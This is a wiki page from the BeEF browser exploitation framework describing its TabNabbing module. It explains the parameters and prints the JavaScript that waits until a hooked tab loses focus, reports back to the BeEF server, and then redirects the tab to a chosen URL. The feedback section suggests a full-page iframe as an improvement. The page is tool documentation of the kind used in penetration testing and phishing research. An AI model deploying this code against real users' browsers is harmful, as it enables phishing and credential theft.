Module: TabNabbing

Jess Williams edited this page 2019-12-31 13:08:26 +10:00

Table of Contents

• Summary
• Internal Working
• Screenshots
• Feedback
• References

Summary

• Objective: This module redirects to the specified URL after the tab has been inactive for a specified amount of time.
• Authors: bcoles
• Browsers: 1ll
• Parameters :
  • URL : URL for the redirection
  • Wait : Time before redirecting (in minutes)
• Code

Internal Working

Internal workig is pretty easy : when the tab loose focus, it starts a timer. When the timer ends the browser is redirected to the given URL :

window.onblur = function() {
    begin_countdown();
}

window.onfocus = function() {
    clearTimeout(tabnab_timer);
}

begin_countdown = function() {
    tabnab_timer = setTimeout(function() { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'tabnab=redirected'); window.location = url; }, wait);
}

Screenshots

Feedback

• One improvement may be to replace the redirection by a 100% iframe.
• It should be noticed that the time given is in minute which may be long regarding average of web sessions

References

• Tabnabbing: A New Type of Phishing Attack by Aza Raskin

I - Starting BeEF

1. Introducing BeEF
2. Installation
3. Basics
4. Troubleshooting

II - Basic Utilization

1. Configuration
2. Interface
3. Information Gathering
4. Social Engineering
5. Network Discovery
6. Metasploit
7. Tunneling
8. XSS Rays
9. Persistence
10. Creating a Module
11. Geolocation
12. Using-BeEF-With-NGROK

III - Advanced Utilization

1. RESTful API
2. Autorun Rule Engine
3. Notifications
4. Console
5. WebRTC Extension

IV - Development

1. Contributing
2. ActiveRecord
3. Development Organization
4. Architecture
5. BeEF Javascript API
6. Step By Step Module Creation
7. Creating a New Extension
8. BeEF Testing
9. Browser & OS Compatibility
10. Database Schema
11. Development Milestones
12. Command Module Config
13. Command Module API

V - References

1. FAQ
2. Other
3. References
4. Modules
5. Release Notes

User Guide

I. Introduction   |   II. Basic Utilization   |   III. Advanced Utilization   |   IV. Development   |   V. References

Community

Blog   |   Code   |   Youtube   |   Twitter